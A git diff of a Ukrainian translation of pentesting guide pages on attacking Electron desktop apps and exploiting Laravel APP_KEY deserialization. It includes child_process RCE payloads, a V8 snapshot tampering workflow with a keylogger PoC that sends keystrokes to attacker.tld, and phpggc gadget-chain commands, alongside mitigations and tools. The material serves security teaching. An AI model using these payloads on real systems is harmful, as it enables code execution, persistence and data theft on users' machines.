- **`preload`** - порожній за замовчуванням.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Обмежує дії, які може виконувати NodeJS.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - за замовчуванням `off`.
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application.
- Якщо **`nodeIntegration`** **вимкнено**, тоді preloads будуть завантажуватися в iframe
- Якщо **`nodeIntegration`** **увімкнено**, це дозволяє використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application.
- Якщо **`nodeIntegration`** **відключено**, то preload-скрипти завантажуватимуться в iframe
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -69,7 +71,7 @@ spellcheck: true,
},
}
```
Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
Кілька **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -93,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Захоплення трафіку
### Перехоплення трафіку
Змініть конфігурацію start-main і додайте використання proxy, наприклад:
```javascript
@ -101,7 +103,8 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
## Electron Local Code Injection
Якщо ви можете локально запускати Electron App, можливо, ви зможете змусити його виконувати довільний JavaScript-код. Дивіться як у:
Якщо ви можете виконати локально Electron App, можливо, ви зможете змусити його виконувати довільний javascript code. Див. як у:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -109,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликавши `require()`. Наприклад, спосіб запустити додаток calc у Windows такий:
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити додаток calc у Windows такий:
```html
<script>
require("child_process").exec("calc")
@ -121,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Скрипт, вказаний у цьому налаштуванні, l**завантажується перед іншими скриптами в renderer**, тому він має **необмежений доступ до Node APIs**:
Скрипт, вказаний у цьому налаштуванні, l**oaded before other scripts in the renderer**, тому має **необмежений доступ до Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -146,17 +149,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не спрацює**
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не працюватиме**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
Якщо контексти не ізольовані, атакувальник може:
If the contexts aren't isolated an attacker can:
1. Виконати **довільний JavaScript у renderer** (XSS або перехід на зовнішні сайти)
2. **Перезаписати вбудований метод**, який використовується в preload або у внутрішньому коді Electron, щоб отримати контроль над функцією
3. **Спровокувати** використання **перезаписаної функції**
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
3. **Trigger** the use of **overwritten function**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -178,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md
### Обхід події click
Якщо при кліку на посилання застосовано обмеження, можливо, ви зможете обійти їх, **зробивши middle click** замість звичайного left click
If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
```javascript
window.addEventListener('click', (e) => {
```
## RCE через shell.openExternal
Для отримання додаткової інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Для детальнішої інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Під час розгортання Electron desktop application важливо правильно налаштувати `nodeIntegration` і `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямоване на preload scripts або Electron's native code з main process, ефективно запобігається при таких налаштуваннях.
Під час розгортання Electron desktop application важливо переконатися у правильних налаштуваннях `nodeIntegration` та `contextIsolation`. Вважається, що **client-side remote code execution (RCE)**, спрямовані на preload scripts або нативний код Electron з main process, ефективно запобігаються при таких налаштуваннях.
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку:
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні обробники подій, які є критичними для безпеки та функціональності додатку:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ці обробники подій **перевизначаються настільним застосунком**, щоб реалізувати його власну **бізнес-логіку**. Застосунок вирішує, чи відкривати навігаційне посилання всередині додатку чи у зовнішньому веб-браузері. Це рішення зазвичай приймається у функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкривати зовні, використовуючи `shell.openExternal`.
Ці обробники подій **перевизначаються десктопним додатком**, щоб реалізувати власну **бізнес-логіку**. Додаток визначає, чи має посилання відкриватися всередині програми чи у зовнішньому веб-браузері. Зазвичай це рішення приймається в функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання має відкриватися зовнішньо з використанням функції `shell.openExternal`.
**Here is a simplified pseudocode:**
@ -201,11 +204,11 @@ webContents.on("will-navigate", function (event, url) {}
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Практики безпеки Electron JS радять не приймати недовірений контент через функцію `openExternal`, оскільки це може привести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів і пояснень з цього питання зверніться до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), де наведені приклади Windows-протоколів, здатних експлуатувати цю вразливість.
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`.
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад у `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Приклади експлойтів протоколів Windows включають:**
**Examples of Windows protocol exploits include:**
```html
<script>
window.open(
@ -227,15 +230,15 @@ window.open(
```
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
Цю vuln можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload context** like:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Отже, атакуючий, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload script**.
Отже, зловмисник, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload script**.
Потім цей preload script використовували для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала **`shell.openExternal`**, що призводило до RCE:
Потім цей preload script використовували для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала викликала **`shell.openExternal`** для отримання RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -248,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Читання внутрішніх файлів: XSS + contextIsolation
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, подібно до `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як exploit цю вразливість, щоб прочитати вміст внутрішніх файлів:
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, аналогічно до `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Крім того, наведено ще один метод для **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron desktop app. Це включає injecting a script для exploit застосунку та exfiltrate data:
Далі наведено ще один метод для **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron desktop app. Це передбачає ін'єкцію скрипта для експлуатації додатка та exfiltrate даних:
```html
<br /><br /><br /><br />
<h1>
@ -268,45 +271,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + старий chromium**
Якщо **chromium**, що використовується додатком, є **старим**, і на ньому є **відомі** **vulnerabilities**, може бути можливо експлуатувати його і отримати **RCE** через **XSS**.\
Приклад можна побачити в цьому **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Якщо **chromium**, що використовується додатком, є **старим** і в ньому є **відомі** **вразливості**, можливо, що ви зможете **експлуатувати їх і отримати RCE через XSS**.\\
Приклад можна побачити в цьому **описі**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **XSS Phishing через обхід regex для внутрішніх URL**
Припустимо, ви знайшли **XSS**, але **не можете викликати RCE або вкрасти внутрішні файли**, ви можете спробувати використати його, щоб **викрасти credentials через phishing**.
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або викрасти внутрішні файли**, тоді ви можете спробувати використати його, щоб **вкрасти облікові дані через phishing**.
Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS код у front-end:
Насамперед потрібно зрозуміти, що відбувається, коли ви намагаєтеся відкрити нову URL-адресу, перевіривши JS-код у front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Виклик до **`openInternally`** вирішує, чи **посилання** буде **відкрито** у **вікні десктоп-додатка**, оскільки воно належить платформі, **або** чи буде відкрито у **браузері як сторонній ресурс**.
Виклик **`openInternally`** визначає, чи **link** буде **opened** у **desktop window**, оскільки це посилання, яке належить платформі, **or** чи воно буде відкрито у **browser as a 3rd party resource**.
У випадку, якщо **regex**, який використовує функція, **вразливий до обходів** (наприклад через **неекранування крапок у субдоменах**), атакуючий може зловживати XSS, щоб **відкрити нове вікно**, яке буде розташоване в інфраструктурі атакуючого та **запитувати у користувача облікові дані**:
У випадку, якщо **regex**, який використовується функцією, є **vulnerable to bypasses** (наприклад через **not escaping the dots of subdomains**), атакуючий може зловживати XSS, щоб **open a new window which** буде розміщено в інфраструктурі атакуючого, **asking for credentials** у користувача:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` протокол
## `file://` Protocol
Як зазначено в [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що запускаються через **`file://`**, мають односторонній доступ до всіх файлів на вашому комп'ютері, що означає, що **XSS** може бути використано для завантаження довільних файлів з машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише обслуговуванням певного набору файлів.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **власний протокол** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Модуль Remote
## Remote module
Модуль Remote в Electron дозволяє **renderer processes to access main process APIs**, полегшуючи комунікацію в межах Electron-додатку. Проте увімкнення цього модуля створює значні ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як cross-site scripting (XSS).
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> Хоча модуль **remote** експонує деякі API з main у renderer процеси, отримати RCE лише через зловживання цими компонентами не так просто. Проте компоненти можуть розкривати чутливу інформацію.
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> Багато додатків, що досі використовують модуль **remote**, роблять це так, що **require NodeIntegration to be enabled** у renderer-процесі, що є **великою загрозою безпеці**.
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Починаючи з Electron 14, модуль `remote` може бути ввімкнений кількома способами, але з міркувань безпеки та продуктивності **рекомендується не використовувати його**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Щоб увімкнути його, спочатку потрібно **увімкнути його в main процесі**:
To enable it, it'd first needed to **увімкнути його в main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -317,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Тоді renderer process може імпортувати об'єкти з модуля так:
Тоді процес рендерера може імпортувати об'єкти з модуля, наприклад:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** зазначає кілька цікавих **функцій**, що експонуються об'єктом **`app`** з remote module:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з remote module:
- **`app.relaunch([options])`**
- **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**.
- **Перезапускає** додаток шляхом **закриття** поточного екземпляра та **запуску** нового. Корисно для **app updates** або значних **змін стану**.
- **`app.setAppLogsPath([path])`**
- **Визначає** або **створює** директорію для збереження **журналів додатку**. Журнали можна **отримати** або **змінити**, використовуючи **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **Визначає** або **створює** каталог для зберігання **app logs**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **власний шлях** та **аргументи**.
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **protocol**. Можна вказати власний шлях та аргументи за потреби.
- **`app.setUserTasks(tasks)`**
- **Додає** завдання до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як **запускається** додаток або які **аргументи** передаються.
- **Додає** tasks до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
- **`app.importCertificate(options, callback)`**
- **Імпортує** сертифікат **PKCS#12** у системне **сховище сертифікатів** (тільки для Linux). Для обробки результату можна використати **callback**.
- **Імпортує** PKCS#12 certificate у системне certificate store (лише Linux). Можна використовувати **callback** для обробки результату.
- **`app.moveToApplicationsFolder([options])`**
- **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac.
- **Переміщує** додаток у **Applications folder** (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac.
- **`app.setJumpList(categories)`**
- **Встановлює** або **видаляє** **кастомний Jump List** у **Windows**. Ви можете вказати **категорії** для організації того, як завдання відображаються користувачу.
- **Встановлює** або **видаляє** кастомний Jump List на Windows. Можна вказати **categories** для організації того, як завдання відображаються користувачу.
- **`app.setLoginItemSettings(settings)`**
- **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом з їхніми **опціями** (тільки для macOS і Windows).
- **Налаштовує**, які виконувані файли запускаються при вході в систему разом із їхніми **опціями** (лише macOS та Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## модуль systemPreferences
## systemPreferences module
Це **основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі є **частиною** цього модуля.
Це **основний API** для доступу до системних налаштувань та **генерації системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі **є частиною** цього модуля.
**Приклад використання:**
```javascript
@ -364,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Слухає** **нативні macOS notifications** за допомогою NSDistributedNotificationCenter.
* До **macOS Catalina** можна було **sniff** **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur**, sandboxed apps все ще можуть **subscribe** до **багатьох подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) реєструючи notifications **за назвою**.
* **Слухає** рідні macOS notifications за допомогою NSDistributedNotificationCenter.
* До **macOS Catalina** ви могли sniff **всі** distributed notifications, передаючи **nil** до CFNotificationCenterAddObserver.
* Після **Catalina / Big Sur** sandboxed apps все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
### **getUserDefault / setUserDefault**
* **Інтерфейсує** з **NSUserDefaults**, який зберігає **налаштування** додатка або **глобальні** налаштування на macOS.
* **Взаємодіє** з NSUserDefaults, який зберігає **application** або **global** preferences на macOS.
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**.
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **recent file locations** або **географічне розташування користувача**.
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатка.
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатку.
* В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
* У **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
## Shell.showItemInFolder
Ця функція показує вказаний файл у file manager, який **може автоматично виконати файл**.
Ця функція показує вказаний файл у файловому менеджері, який **може автоматично виконати файл**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps повинні мати **Content Security Policy (CSP)**, щоб **запобігти XSS attacks**. **CSP** — це **стандарт безпеки**, що допомагає **запобігати виконанню ненадійного коду** в браузері.
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Зазвичай **налаштовується** у файлі **`main.js`** або в шаблоні **`index.html`** з CSP всередині **meta tag**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
For more information check:
@ -400,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення misconfigurations та security anti-patterns в Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, що використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих third party libraries
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для ідентифікації misconfigurations та security anti-patterns в Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, який використовує Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек.
- [**Electro.ng**](https://electro.ng/): Потрібно купити
## Labs
В [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторну роботу з експлуатації вразливих Electron apps.
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви знайдете лабораторне завдання для експлуатації вразливих Electron apps.
Декілька команд, що допоможуть у лабі:
Декілька команд, які допоможуть вам у лабораторній роботі:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -438,12 +441,12 @@ Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at star
Ключові моменти
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
- Attack preconditions: Локальний запис файлів у директорію інсталяції програми. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з обмеженнями на macOS).
- Effect: Надійне виконання attacker JavaScript в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дає можливість персистенції та обходу перевірки підпису коду.
- Affected surface: Electron apps (навіть з увімкненими fuses) та браузери на базі Chromium, які завантажують snapshots з локацій доступних для запису користувачем.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Генерація зловмисного snapshot без збірки Chromium
- Використайте попередньо зібраний electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin програми.
Example minimal payload (prove execution by forcing a crash)
```js
@ -460,10 +463,10 @@ throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Виявлення головного процесу: глобальні змінні лише для Node, такі як process.pid, process.binding(), або process.dlopen, присутні в ізоляції головного процесу.
- Виявлення Browser/renderer: глобальні змінні лише для Browser, такі як alert, доступні при виконанні в документному контексті.
- Main process detection: Глобальні змінні, притаманні лише Node (наприклад process.pid, process.binding(), process.dlopen), присутні в ізоляції main process.
- Browser/renderer detection: Глобальні змінні, притаманні лише браузеру (наприклад alert), доступні під час виконання в контексті документа.
Приклад гаджета, який один раз перевіряє можливості Node у головному процесі
Приклад gadget, який одноразово перевіряє можливості Node у main-process
```js
const orig = Array.isArray;
@ -492,7 +495,7 @@ process.exit(0);
return orig(...arguments);
};
```
PoC викрадення даних у Renderer/browser-context (наприклад, Slack)
Renderer/browser-context PoC викрадення даних (наприклад, Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -516,21 +519,21 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Operator workflow
1) Напишіть payload.js, який clobbers поширений builtin (наприклад, Array.isArray) і опційно розгалужується по isolate.
2) Build the snapshot without Chromium sources:
Робочий процес оператора
1) Напишіть payload.js, який перезаписує загальну вбудовану функцію (наприклад, Array.isArray) і, за потреби, розгалужується по isolate.
2) Зберіть snapshot без джерел Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Перезапишіть snapshot-файл(и) цільового додатка:
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Запустіть додаток; gadget виконується щоразу, коли використовується вибраний builtin.
3) Перезапишіть файл(и) snapshot цільового застосунку:
- v8_context_snapshot.bin (завжди використовується)
- browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot)
4) Запустіть застосунок; гаджет виконується щоразу, коли використовується обрана вбудована функція.
Notes and considerations
Примітки та зауваження
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Detection and mitigations
Виявлення і пом'якшення
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.

View File

@ -4,14 +4,14 @@
### Laravel SQLInjection
Детальніше читайте тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Інформацію про це див. тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
## APP_KEY & Внутрішні механізми шифрування (Laravel \u003e=5.6)
Laravel використовує AES-256-CBC (або GCM) з HMAC для забезпечення цілісності під капотом (`Illuminate\\Encryption\\Encrypter`).
Сирий шифртекст, який в кінцевому підсумку **відправляється клієнту**, — це **Base64 of a JSON object**, наприклад:
Сирий шифротекст, який в кінцевому підсумку **відправляється клієнту**, — це **Base64 JSON-об'єкта** такого вигляду:
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -20,9 +20,9 @@ Laravel використовує AES-256-CBC (або GCM) з HMAC для заб
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` за замовчуванням викликає `serialize()` для відкритого тексту, тоді як
`decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення.
Отже **будь-який зловмисник, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований серіалізований PHP об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**.
`encrypt($value, $serialize=true)` за замовчуванням викликає `serialize()` для plaintext, тоді як
`decrypt($payload, $unserialize=true)` **автоматично виконує `unserialize()`** для розшифрованого значення.
Отже **будь-який атакувальник, який знає 32-байтовий секрет `APP_KEY`, може сфабрикувати зашифрований PHP serialized object і отримати RCE через magic methods (`__wakeup`, `__destruct`, …)**.
Мінімальний PoC (framework ≥9.x):
```php
@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Впровадьте отриманий рядок у будь-який вразливий `decrypt()` sink (route param, cookie, session, …).
Інжектуйте отриманий рядок у будь-який вразливий `decrypt()` sink (route param, cookie, session, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує весь процес і додає зручний режим **bruteforce**:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує увесь процес і додає зручний режим **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -47,11 +47,11 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Скрипт прозоро підтримує як CBC, так і GCM payloads і перегенерує поле HMAC/tag.
Скрипт прозоро підтримує обидва CBC та GCM payloads і повторно генерує поле HMAC/tag.
---
## Реальні вразливі шаблони
## Реальні шаблони вразливостей
| Проект | Вразливий sink | Gadget chain |
|--------|----------------|--------------|
@ -59,13 +59,13 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
Порядок експлуатації завжди:
1. Отримати або brute-force 32-байтовий `APP_KEY`.
2. Побудувати gadget chain за допомогою **PHPGGC** (наприклад `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`).
3. Зашифрувати серіалізований gadget за допомогою **laravel_crypto_killer.py** і відновленого `APP_KEY`.
4. Доставити ciphertext до вразливого `decrypt()` sink (route parameter, cookie, session …), щоб викликати **RCE**.
Послідовність експлуатації завжди така:
1. Отримайте або brute-force 32-байтовий `APP_KEY`.
